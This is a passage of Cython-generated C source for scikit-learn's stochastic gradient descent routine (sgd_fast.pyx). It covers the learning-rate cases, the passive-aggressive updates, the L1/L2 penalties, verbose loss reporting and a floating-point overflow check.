\"sklearn/linear_model/sgd_fast.pyx\":451\n *             if learning_rate == OPTIMAL:\n *                 eta = 1.0 / (alpha * t)\n *             elif learning_rate == INVSCALING:             # <<<<<<<<<<<<<<\n *                 eta = eta0 / pow(t, power_t)\n * \n */\n      switch (__pyx_v_learning_rate) {\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":449\n *             p = w.dot(x_data_ptr, x_ind_ptr, xnnz) + intercept\n * \n *             if learning_rate == OPTIMAL:             # <<<<<<<<<<<<<<\n *                 eta = 1.0 / (alpha * t)\n *             elif learning_rate == INVSCALING:\n */\n        case 2:\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":450\n * \n *             if learning_rate == OPTIMAL:\n *                 eta = 1.0 / (alpha * t)             # <<<<<<<<<<<<<<\n *             elif learning_rate == INVSCALING:\n *                 eta = eta0 / pow(t, power_t)\n */\n        __pyx_v_eta = (1.0 / (__pyx_v_alpha * __pyx_v_t));\n        break;\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":451\n *             if learning_rate == OPTIMAL:\n *                 eta = 1.0 / (alpha * t)\n *             elif learning_rate == INVSCALING:             # <<<<<<<<<<<<<<\n *                 eta = eta0 / pow(t, power_t)\n * \n */\n        case 3:\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":452\n *                 eta = 1.0 / (alpha * t)\n *             elif learning_rate == INVSCALING:\n *                 eta = eta0 / pow(t, power_t)             # <<<<<<<<<<<<<<\n * \n *             if verbose > 0:\n */\n        __pyx_v_eta = (__pyx_v_eta0 / pow(__pyx_v_t, __pyx_v_power_t));\n        break;\n      }\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":454\n *                 eta = eta0 / pow(t, power_t)\n * \n *             if verbose > 0:             # <<<<<<<<<<<<<<\n *                 sumloss += loss.loss(p, y)\n * \n */\n      __pyx_t_4 = (__pyx_v_verbose > 0);\n      if (__pyx_t_4) {\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":455\n * \n *             if verbose > 0:\n *                 sumloss += loss.loss(p, y)             # <<<<<<<<<<<<<<\n * \n *             if y > 0.0:\n */\n        __pyx_v_sumloss = (__pyx_v_sumloss + ((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_loss->__pyx_vtab)->loss(__pyx_v_loss, __pyx_v_p, __pyx_v_y, 0));\n        goto __pyx_L9;\n      }\n      __pyx_L9:;\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":457\n *                 sumloss += loss.loss(p, y)\n * \n *             if y > 0.0:             # <<<<<<<<<<<<<<\n *                 class_weight = weight_pos\n *             else:\n */\n      __pyx_t_4 = (__pyx_v_y > 0.0);\n      if (__pyx_t_4) {\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":458\n * \n *             if y > 0.0:\n *                 class_weight = weight_pos             # <<<<<<<<<<<<<<\n *             else:\n *                 class_weight = weight_neg\n */\n        __pyx_v_class_weight = __pyx_v_weight_pos;\n        goto __pyx_L10;\n      }\n      /*else*/ {\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":460\n *                 class_weight = weight_pos\n *             else:\n *                 class_weight = weight_neg             # <<<<<<<<<<<<<<\n * \n *             if learning_rate == PA1:\n */\n        __pyx_v_class_weight = __pyx_v_weight_neg;\n      }\n      __pyx_L10:;\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":467\n *                     continue\n *                 update = min(C, loss.loss(p, y) / update)\n *             elif learning_rate == PA2:             # <<<<<<<<<<<<<<\n *                 update = sqnorm(x_data_ptr, x_ind_ptr, xnnz)\n *                 update = loss.loss(p, y) / (update + 0.5 / C)\n */\n      switch (__pyx_v_learning_rate) {\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":462\n *                 class_weight = weight_neg\n * \n *             if learning_rate == PA1:             # <<<<<<<<<<<<<<\n *                 update = sqnorm(x_data_ptr, x_ind_ptr, xnnz)\n *                 if update == 0:\n */\n        case 4:\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":463\n * \n *             if learning_rate == PA1:\n *                 update = sqnorm(x_data_ptr, x_ind_ptr, xnnz)             # <<<<<<<<<<<<<<\n *                 if update == 0:\n *                     continue\n */\n        __pyx_v_update = __pyx_f_7sklearn_12linear_model_8sgd_fast_sqnorm(__pyx_v_x_data_ptr, __pyx_v_x_ind_ptr, __pyx_v_xnnz);\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":464\n *             if learning_rate == PA1:\n *                 update = sqnorm(x_data_ptr, x_ind_ptr, xnnz)\n *                 if update == 0:             # <<<<<<<<<<<<<<\n *                     continue\n *                 update = min(C, loss.loss(p, y) / update)\n */\n        __pyx_t_4 = (__pyx_v_update == 0.0);\n        if (__pyx_t_4) {\n\n          /* \"sklearn/linear_model/sgd_fast.pyx\":465\n *                 update = sqnorm(x_data_ptr, x_ind_ptr, xnnz)\n *                 if update == 0:\n *                     continue             # <<<<<<<<<<<<<<\n *                 update = min(C, loss.loss(p, y) / update)\n *             elif learning_rate == PA2:\n */\n          goto __pyx_L7_continue;\n          goto __pyx_L11;\n        }\n        __pyx_L11:;\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":466\n *                 if update == 0:\n *                     continue\n *                 update = min(C, loss.loss(p, y) / update)             # <<<<<<<<<<<<<<\n *             elif learning_rate == PA2:\n *                 update = sqnorm(x_data_ptr, x_ind_ptr, xnnz)\n */\n        __pyx_v_update = __pyx_f_7sklearn_12linear_model_8sgd_fast_min(__pyx_v_C, (((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_loss->__pyx_vtab)->loss(__pyx_v_loss, __pyx_v_p, __pyx_v_y, 0) / __pyx_v_update));\n        break;\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":467\n *                     continue\n *                 update = min(C, loss.loss(p, y) / update)\n *             elif learning_rate == PA2:             # <<<<<<<<<<<<<<\n *                 update = sqnorm(x_data_ptr, x_ind_ptr, xnnz)\n *                 update = loss.loss(p, y) / (update + 0.5 / C)\n */\n        case 5:\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":468\n *                 update = min(C, loss.loss(p, y) / update)\n *             elif learning_rate == PA2:\n *                 update = sqnorm(x_data_ptr, x_ind_ptr, xnnz)             # <<<<<<<<<<<<<<\n *                 update = loss.loss(p, y) / (update + 0.5 / C)\n *             else:\n */\n        __pyx_v_update = __pyx_f_7sklearn_12linear_model_8sgd_fast_sqnorm(__pyx_v_x_data_ptr, __pyx_v_x_ind_ptr, __pyx_v_xnnz);\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":469\n *             elif learning_rate == PA2:\n *                 update = sqnorm(x_data_ptr, x_ind_ptr, xnnz)\n *                 update = loss.loss(p, y) / (update + 0.5 / C)             # <<<<<<<<<<<<<<\n *             else:\n *                 update = -eta * loss.dloss(p, y)\n */\n        __pyx_v_update = (((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_loss->__pyx_vtab)->loss(__pyx_v_loss, __pyx_v_p, __pyx_v_y, 0) / (__pyx_v_update + (0.5 / __pyx_v_C)));\n        break;\n        default:\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":471\n *                 update = loss.loss(p, y) / (update + 0.5 / C)\n *             else:\n *                 update = -eta * loss.dloss(p, y)             # <<<<<<<<<<<<<<\n * \n *             if learning_rate >= PA1:\n */\n        __pyx_v_update = ((-__pyx_v_eta) * ((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_loss->__pyx_vtab)->dloss(__pyx_v_loss, __pyx_v_p, __pyx_v_y, 0));\n        break;\n      }\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":473\n *                 update = -eta * loss.dloss(p, y)\n * \n *             if learning_rate >= PA1:             # <<<<<<<<<<<<<<\n *                 if is_hinge:\n *                     # classification\n */\n      __pyx_t_4 = (__pyx_v_learning_rate >= 4);\n      if (__pyx_t_4) {\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":474\n * \n *             if learning_rate >= PA1:\n *                 if is_hinge:             # <<<<<<<<<<<<<<\n *                     # classification\n *                     update *= y\n */\n        if (__pyx_v_is_hinge) {\n\n          /* \"sklearn/linear_model/sgd_fast.pyx\":476\n *                 if is_hinge:\n *                     # classification\n *                     update *= y             # <<<<<<<<<<<<<<\n *                 elif y - p < 0:\n *                     # regression\n */\n          __pyx_v_update = (__pyx_v_update * __pyx_v_y);\n          goto __pyx_L13;\n        }\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":477\n *                     # classification\n *                     update *= y\n *                 elif y - p < 0:             # <<<<<<<<<<<<<<\n *                     # regression\n *                     update *= -1\n */\n        __pyx_t_4 = ((__pyx_v_y - __pyx_v_p) < 0.0);\n        if (__pyx_t_4) {\n\n          /* \"sklearn/linear_model/sgd_fast.pyx\":479\n *                 elif y - p < 0:\n *                     # regression\n *                     update *= -1             # <<<<<<<<<<<<<<\n * \n *             update *= class_weight * sample_weight\n */\n          __pyx_v_update = (__pyx_v_update * -1.0);\n          goto __pyx_L13;\n        }\n        __pyx_L13:;\n        goto __pyx_L12;\n      }\n      __pyx_L12:;\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":481\n *                     update *= -1\n * \n *             update *= class_weight * sample_weight             # <<<<<<<<<<<<<<\n * \n *             if update != 0.0:\n */\n      __pyx_v_update = (__pyx_v_update * (__pyx_v_class_weight * __pyx_v_sample_weight));\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":483\n *             update *= class_weight * sample_weight\n * \n *             if update != 0.0:             # <<<<<<<<<<<<<<\n *                 w.add(x_data_ptr, x_ind_ptr, xnnz, update)\n *                 if fit_intercept == 1:\n */\n      __pyx_t_4 = (__pyx_v_update != 0.0);\n      if (__pyx_t_4) {\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":484\n * \n *             if update != 0.0:\n *                 w.add(x_data_ptr, x_ind_ptr, xnnz, update)             # <<<<<<<<<<<<<<\n *                 if fit_intercept == 1:\n *                     intercept += update * intercept_decay\n */\n        ((struct __pyx_vtabstruct_7sklearn_5utils_13weight_vector_WeightVector *)__pyx_v_w->__pyx_vtab)->add(__pyx_v_w, __pyx_v_x_data_ptr, __pyx_v_x_ind_ptr, __pyx_v_xnnz, __pyx_v_update);\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":485\n *             if update != 0.0:\n *                 w.add(x_data_ptr, x_ind_ptr, xnnz, update)\n *                 if fit_intercept == 1:             # <<<<<<<<<<<<<<\n *                     intercept += update * intercept_decay\n *             if penalty_type >= L2:\n */\n        __pyx_t_4 = (__pyx_v_fit_intercept == 1);\n        if (__pyx_t_4) {\n\n          /* \"sklearn/linear_model/sgd_fast.pyx\":486\n *                 w.add(x_data_ptr, x_ind_ptr, xnnz, update)\n *                 if fit_intercept == 1:\n *                     intercept += update * intercept_decay             # <<<<<<<<<<<<<<\n *             if penalty_type >= L2:\n *                 w.scale(1.0 - (rho * eta * alpha))\n */\n          __pyx_v_intercept = (__pyx_v_intercept + (__pyx_v_update * __pyx_v_intercept_decay));\n          goto __pyx_L15;\n        }\n        __pyx_L15:;\n        goto __pyx_L14;\n      }\n      __pyx_L14:;\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":487\n *                 if fit_intercept == 1:\n *                     intercept += update * intercept_decay\n *             if penalty_type >= L2:             # <<<<<<<<<<<<<<\n *                 w.scale(1.0 - (rho * eta * alpha))\n * \n */\n      __pyx_t_4 = (__pyx_v_penalty_type >= 2);\n      if (__pyx_t_4) {\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":488\n *                     intercept += update * intercept_decay\n *             if penalty_type >= L2:\n *                 w.scale(1.0 - (rho * eta * alpha))             # <<<<<<<<<<<<<<\n * \n *             if penalty_type == L1 or penalty_type == ELASTICNET:\n */\n        ((struct __pyx_vtabstruct_7sklearn_5utils_13weight_vector_WeightVector *)__pyx_v_w->__pyx_vtab)->scale(__pyx_v_w, (1.0 - ((__pyx_v_rho * __pyx_v_eta) * __pyx_v_alpha)));\n        goto __pyx_L16;\n      }\n      __pyx_L16:;\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":490\n *                 w.scale(1.0 - (rho * eta * alpha))\n * \n *             if penalty_type == L1 or penalty_type == ELASTICNET:             # <<<<<<<<<<<<<<\n *                 u += ((1.0 - rho) * eta * alpha)\n *                 l1penalty(w, q_data_ptr, x_ind_ptr, xnnz, u)\n */\n      switch (__pyx_v_penalty_type) {\n        case 1:\n        case 3:\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":491\n * \n *             if penalty_type == L1 or penalty_type == ELASTICNET:\n *                 u += ((1.0 - rho) * eta * alpha)             # <<<<<<<<<<<<<<\n *                 l1penalty(w, q_data_ptr, x_ind_ptr, xnnz, u)\n *             t += 1\n */\n        __pyx_v_u = (__pyx_v_u + (((1.0 - __pyx_v_rho) * __pyx_v_eta) * __pyx_v_alpha));\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":492\n *             if penalty_type == L1 or penalty_type == ELASTICNET:\n *                 u += ((1.0 - rho) * eta * alpha)\n *                 l1penalty(w, q_data_ptr, x_ind_ptr, xnnz, u)             # <<<<<<<<<<<<<<\n *             t += 1\n *             count += 1\n */\n        __pyx_f_7sklearn_12linear_model_8sgd_fast_l1penalty(__pyx_v_w, __pyx_v_q_data_ptr, __pyx_v_x_ind_ptr, __pyx_v_xnnz, __pyx_v_u);\n        break;\n      }\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":493\n *                 u += ((1.0 - rho) * eta * alpha)\n *                 l1penalty(w, q_data_ptr, x_ind_ptr, xnnz, u)\n *             t += 1             # <<<<<<<<<<<<<<\n *             count += 1\n * \n */\n      __pyx_v_t = (__pyx_v_t + 1.0);\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":494\n *                 l1penalty(w, q_data_ptr, x_ind_ptr, xnnz, u)\n *             t += 1\n *             count += 1             # <<<<<<<<<<<<<<\n * \n *         # report epoch information\n */\n      __pyx_v_count = (__pyx_v_count + 1);\n      __pyx_L7_continue:;\n    }\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":497\n * \n *         # report epoch information\n *         if verbose > 0:             # <<<<<<<<<<<<<<\n *             print(\"Norm: %.2f, NNZs: %d, \"\n *             \"Bias: %.6f, T: %d, Avg. loss: %.6f\" % (w.norm(),\n */\n    __pyx_t_4 = (__pyx_v_verbose > 0);\n    if (__pyx_t_4) {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":499\n *         if verbose > 0:\n *             print(\"Norm: %.2f, NNZs: %d, \"\n *             \"Bias: %.6f, T: %d, Avg. loss: %.6f\" % (w.norm(),             # <<<<<<<<<<<<<<\n *                                                     weights.nonzero()[0].shape[0],\n *                                                     intercept, count,\n */\n      __pyx_t_8 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_5utils_13weight_vector_WeightVector *)__pyx_v_w->__pyx_vtab)->norm(__pyx_v_w)); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 499; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_8);\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":500\n *             print(\"Norm: %.2f, NNZs: %d, \"\n *             \"Bias: %.6f, T: %d, Avg. loss: %.6f\" % (w.norm(),\n *                                                     weights.nonzero()[0].shape[0],             # <<<<<<<<<<<<<<\n *                                                     intercept, count,\n *                                                     sumloss / count))\n */\n      __pyx_t_6 = PyObject_GetAttr(((PyObject *)__pyx_v_weights), __pyx_n_s__nonzero); if (unlikely(!__pyx_t_6)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 500; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_6);\n      __pyx_t_3 = PyObject_Call(__pyx_t_6, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 500; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;\n      __pyx_t_6 = __Pyx_GetItemInt(__pyx_t_3, 0, sizeof(long), PyInt_FromLong); if (!__pyx_t_6) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 500; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_6);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_GetAttr(__pyx_t_6, __pyx_n_s__shape); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 500; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;\n      __pyx_t_6 = __Pyx_GetItemInt(__pyx_t_3, 0, sizeof(long), PyInt_FromLong); if (!__pyx_t_6) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 500; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_6);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":501\n *             \"Bias: %.6f, T: %d, Avg. loss: %.6f\" % (w.norm(),\n *                                                     weights.nonzero()[0].shape[0],\n *                                                     intercept, count,             # <<<<<<<<<<<<<<\n *                                                     sumloss / count))\n *             print(\"Total training time: %.2f seconds.\" % (time() - t_start))\n */\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_intercept); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 501; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_2 = PyLong_FromUnsignedLong(__pyx_v_count); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 501; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":502\n *                                                     weights.nonzero()[0].shape[0],\n *                                                     intercept, count,\n *                                                     sumloss / count))             # <<<<<<<<<<<<<<\n *             print(\"Total training time: %.2f seconds.\" % (time() - t_start))\n * \n */\n      __pyx_t_7 = PyFloat_FromDouble((__pyx_v_sumloss / __pyx_v_count)); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 502; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_7);\n      __pyx_t_15 = PyTuple_New(5); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 499; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_15);\n      PyTuple_SET_ITEM(__pyx_t_15, 0, __pyx_t_8);\n      __Pyx_GIVEREF(__pyx_t_8);\n      PyTuple_SET_ITEM(__pyx_t_15, 1, __pyx_t_6);\n      __Pyx_GIVEREF(__pyx_t_6);\n      PyTuple_SET_ITEM(__pyx_t_15, 2, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      PyTuple_SET_ITEM(__pyx_t_15, 3, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_15, 4, __pyx_t_7);\n      __Pyx_GIVEREF(__pyx_t_7);\n      __pyx_t_8 = 0;\n      __pyx_t_6 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_2 = 0;\n      __pyx_t_7 = 0;\n      __pyx_t_7 = PyNumber_Remainder(((PyObject *)__pyx_kp_s_2), ((PyObject *)__pyx_t_15)); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 499; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(((PyObject *)__pyx_t_7));\n      __Pyx_DECREF(((PyObject *)__pyx_t_15)); __pyx_t_15 = 0;\n      if (__Pyx_PrintOne(0, ((PyObject *)__pyx_t_7)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 498; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(((PyObject *)__pyx_t_7)); __pyx_t_7 = 0;\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":503\n *                                                     intercept, count,\n *                                                     sumloss / count))\n *             print(\"Total training time: %.2f seconds.\" % (time() - t_start))             # <<<<<<<<<<<<<<\n * \n *         # floating-point under-/overflow check.\n */\n      __pyx_t_7 = __Pyx_GetName(__pyx_m, __pyx_n_s__time); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 503; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_7);\n      __pyx_t_15 = PyObject_Call(__pyx_t_7, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 503; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_15);\n      __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;\n      __pyx_t_7 = PyNumber_Subtract(__pyx_t_15, __pyx_v_t_start); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 503; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_7);\n      __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;\n      __pyx_t_15 = PyNumber_Remainder(((PyObject *)__pyx_kp_s_3), __pyx_t_7); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 503; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(((PyObject *)__pyx_t_15));\n      __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;\n      if (__Pyx_PrintOne(0, ((PyObject *)__pyx_t_15)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 503; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(((PyObject *)__pyx_t_15)); __pyx_t_15 = 0;\n      goto __pyx_L17;\n    }\n    __pyx_L17:;\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":506\n * \n *         # floating-point under-/overflow check.\n *         if np.any(np.isinf(weights)) or np.any(np.isnan(weights)) \\             # <<<<<<<<<<<<<<\n *            or np.isnan(intercept) or np.isinf(intercept):\n *             raise ValueError(\"floating-point under-/overflow occured.\")\n */\n    __pyx_t_15 = __Pyx_GetName(__pyx_m, __pyx_n_s__np); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_15);\n    __pyx_t_7 = PyObject_GetAttr(__pyx_t_15, __pyx_n_s__any); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_7);\n    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;\n    __pyx_t_15 = __Pyx_GetName(__pyx_m, __pyx_n_s__np); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_15);\n    __pyx_t_2 = PyObject_GetAttr(__pyx_t_15, __pyx_n_s__isinf); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_2);\n    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;\n    __pyx_t_15 = PyTuple_New(1); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_15);\n    __Pyx_INCREF(((PyObject *)__pyx_v_weights));\n    PyTuple_SET_ITEM(__pyx_t_15, 0, ((PyObject *)__pyx_v_weights));\n    __Pyx_GIVEREF(((PyObject *)__pyx_v_weights));\n    __pyx_t_3 = PyObject_Call(__pyx_t_2, ((PyObject *)__pyx_t_15), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n    __Pyx_DECREF(((PyObject *)__pyx_t_15)); __pyx_t_15 = 0;\n    __pyx_t_15 = PyTuple_New(1); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_15);\n    PyTuple_SET_ITEM(__pyx_t_15, 0, __pyx_t_3);\n    __Pyx_GIVEREF(__pyx_t_3);\n    __pyx_t_3 = 0;\n    __pyx_t_3 = PyObject_Call(__pyx_t_7, ((PyObject *)__pyx_t_15), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;\n    __Pyx_DECREF(((PyObject *)__pyx_t_15)); __pyx_t_15 = 0;\n    __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_4 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n    if (!__pyx_t_4) {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":507\n *         # floating-point under-/overflow check.\n *         if np.any(np.isinf(weights)) or np.any(np.isnan(weights)) \\\n *            or np.isnan(intercept) or np.isinf(intercept):             # <<<<<<<<<<<<<<\n *             raise ValueError(\"floating-point under-/overflow occured.\")\n * \n */\n      __pyx_t_3 = __Pyx_GetName(__pyx_m, __pyx_n_s__np); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_15 = PyObject_GetAttr(__pyx_t_3, __pyx_n_s__any); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_15);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":506\n * \n *         # floating-point under-/overflow check.\n *         if np.any(np.isinf(weights)) or np.any(np.isnan(weights)) \\             # <<<<<<<<<<<<<<\n *            or np.isnan(intercept) or np.isinf(intercept):\n *             raise ValueError(\"floating-point under-/overflow occured.\")\n */\n      __pyx_t_3 = __Pyx_GetName(__pyx_m, __pyx_n_s__np); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_7 = PyObject_GetAttr(__pyx_t_3, __pyx_n_s__isnan); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_7);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_INCREF(((PyObject *)__pyx_v_weights));\n      PyTuple_SET_ITEM(__pyx_t_3, 0, ((PyObject *)__pyx_v_weights));\n      __Pyx_GIVEREF(((PyObject *)__pyx_v_weights));\n      __pyx_t_2 = PyObject_Call(__pyx_t_7, ((PyObject *)__pyx_t_3), NULL); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;\n      __Pyx_DECREF(((PyObject *)__pyx_t_3)); __pyx_t_3 = 0;\n      __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      __pyx_t_2 = 0;\n      __pyx_t_2 = PyObject_Call(__pyx_t_15, ((PyObject *)__pyx_t_3), NULL); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; 